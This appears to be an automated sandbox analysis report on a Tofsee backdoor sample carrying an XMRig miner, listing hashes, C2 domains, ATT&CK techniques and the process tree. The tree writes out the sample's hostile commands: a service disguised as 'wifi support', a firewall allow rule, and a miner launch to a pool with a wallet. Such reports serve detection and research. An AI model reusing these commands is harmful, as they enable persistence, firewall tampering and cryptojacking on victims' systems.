Analysis

  • max time kernel
    150s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220722-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220722-enlocale:en-usos:windows10-2004-x64system
  • submitted
    10-08-2022 13:55

General

  • Target

    1b3c77e63d8fec78ca14ebf56e3ba4a498c33b22a449e4ef4989ffb4687bc83f.exe

  • Size

    340KB

  • MD5

    050031c5c0e09719f78a8f0409a57733

  • SHA1

    4dc217019c978b620536b0b1db56a1e3013a807e

  • SHA256

    1b3c77e63d8fec78ca14ebf56e3ba4a498c33b22a449e4ef4989ffb4687bc83f

  • SHA512

    db160444bb27ce7544d1881f898f0104c680180173271dc66890538b0765bfe2c44fdafe38ee9b07bff871fcfecc457643d7c4b8034a157e177e49b65aa1d897

Malware Config

Extracted

Family

tofsee

C2

svartalfheim.top

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Program crash 2 IoCs
  • Modifies data under HKEY_USERS 16 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 28 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\1b3c77e63d8fec78ca14ebf56e3ba4a498c33b22a449e4ef4989ffb4687bc83f.exe
    "C:\Users\Admin\AppData\Local\Temp\1b3c77e63d8fec78ca14ebf56e3ba4a498c33b22a449e4ef4989ffb4687bc83f.exe"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4720
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\moztuaye\
      2⤵
        PID:4872
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\ygyixiql.exe" C:\Windows\SysWOW64\moztuaye\
        2⤵
          PID:2296
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create moztuaye binPath= "C:\Windows\SysWOW64\moztuaye\ygyixiql.exe /d\"C:\Users\Admin\AppData\Local\Temp\1b3c77e63d8fec78ca14ebf56e3ba4a498c33b22a449e4ef4989ffb4687bc83f.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:1724
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description moztuaye "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2484
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start moztuaye
          2⤵
          • Launches sc.exe
          PID:3620
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:3332
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 4720 -s 1040
          2⤵
          • Program crash
          PID:1464
      • C:\Windows\SysWOW64\moztuaye\ygyixiql.exe
        C:\Windows\SysWOW64\moztuaye\ygyixiql.exe /d"C:\Users\Admin\AppData\Local\Temp\1b3c77e63d8fec78ca14ebf56e3ba4a498c33b22a449e4ef4989ffb4687bc83f.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2640
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Sets service image path in registry
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:1012
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.60000 -p x -k -a cn/half
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1892
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -u -p 2640 -s 512
          2⤵
          • Program crash
          PID:636
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 4720 -ip 4720
        1⤵
          PID:3008
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 480 -p 2640 -ip 2640
          1⤵
            PID:1196

          Network

          MITRE ATT&CK Matrix ATT&CK v6

          Persistence

          New Service

          1
          T1050

          Modify Existing Service

          1
          T1031

          Registry Run Keys / Startup Folder

          1
          T1060

          Privilege Escalation

          New Service

          1
          T1050

          Defense Evasion

          Modify Registry

          1
          T1112

          Discovery

          Query Registry

          1
          T1012

          System Information Discovery

          2
          T1082

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Temp\ygyixiql.exe
            Filesize

            14.3MB

            MD5

            98a6d8c1785ca03cc38c0a2a5b5672a7

            SHA1

            702b13748cd80393b648a6563eb5d221760a67c5

            SHA256

            296c66d89c1c98661f37f5668aec2ca73091632db52bef043becfbba17487524

            SHA512

            57078b9a3dfeb2e4f99e01a8b87ca2fee0eee6e5ab2eb196b53c39206bc0bdd78f1a7d118914a9dac07ea2fdb027a48eea63bed6b6a19c1a100b9c38b4c0cbf1

          • C:\Windows\SysWOW64\moztuaye\ygyixiql.exe
            Filesize

            14.3MB

            MD5

            98a6d8c1785ca03cc38c0a2a5b5672a7

            SHA1

            702b13748cd80393b648a6563eb5d221760a67c5

            SHA256

            296c66d89c1c98661f37f5668aec2ca73091632db52bef043becfbba17487524

            SHA512

            57078b9a3dfeb2e4f99e01a8b87ca2fee0eee6e5ab2eb196b53c39206bc0bdd78f1a7d118914a9dac07ea2fdb027a48eea63bed6b6a19c1a100b9c38b4c0cbf1

          • memory/1012-157-0x00000000009F0000-0x00000000009F6000-memory.dmp
            Filesize

            24KB

          • memory/1012-145-0x0000000000000000-mapping.dmp
          • memory/1012-146-0x0000000000850000-0x0000000000865000-memory.dmp
            Filesize

            84KB

          • memory/1012-154-0x0000000002800000-0x0000000002A0F000-memory.dmp
            Filesize

            2.1MB

          • memory/1012-153-0x0000000000850000-0x0000000000865000-memory.dmp
            Filesize

            84KB

          • memory/1012-152-0x0000000000850000-0x0000000000865000-memory.dmp
            Filesize

            84KB

          • memory/1012-166-0x0000000007800000-0x0000000007C0B000-memory.dmp
            Filesize

            4.0MB

          • memory/1012-163-0x0000000001BF0000-0x0000000001BF5000-memory.dmp
            Filesize

            20KB

          • memory/1012-169-0x0000000002BF0000-0x0000000002BF7000-memory.dmp
            Filesize

            28KB

          • memory/1012-160-0x0000000001BE0000-0x0000000001BF0000-memory.dmp
            Filesize

            64KB

          • memory/1724-138-0x0000000000000000-mapping.dmp
          • memory/1892-178-0x0000000000710000-0x0000000000801000-memory.dmp
            Filesize

            964KB

          • memory/1892-172-0x0000000000000000-mapping.dmp
          • memory/1892-173-0x0000000000710000-0x0000000000801000-memory.dmp
            Filesize

            964KB

          • memory/2296-136-0x0000000000000000-mapping.dmp
          • memory/2484-139-0x0000000000000000-mapping.dmp
          • memory/2640-150-0x0000000000400000-0x000000000046D000-memory.dmp
            Filesize

            436KB

          • memory/2640-149-0x00000000006D9000-0x00000000006E9000-memory.dmp
            Filesize

            64KB

          • memory/3332-144-0x0000000000000000-mapping.dmp
          • memory/3620-142-0x0000000000000000-mapping.dmp
          • memory/4720-141-0x0000000002060000-0x0000000002073000-memory.dmp
            Filesize

            76KB

          • memory/4720-132-0x000000000055D000-0x000000000056D000-memory.dmp
            Filesize

            64KB

          • memory/4720-151-0x0000000000400000-0x000000000046D000-memory.dmp
            Filesize

            436KB

          • memory/4720-133-0x0000000002060000-0x0000000002073000-memory.dmp
            Filesize

            76KB

          • memory/4720-140-0x000000000055D000-0x000000000056D000-memory.dmp
            Filesize

            64KB

          • memory/4720-134-0x0000000000400000-0x000000000046D000-memory.dmp
            Filesize

            436KB

          • memory/4872-135-0x0000000000000000-mapping.dmp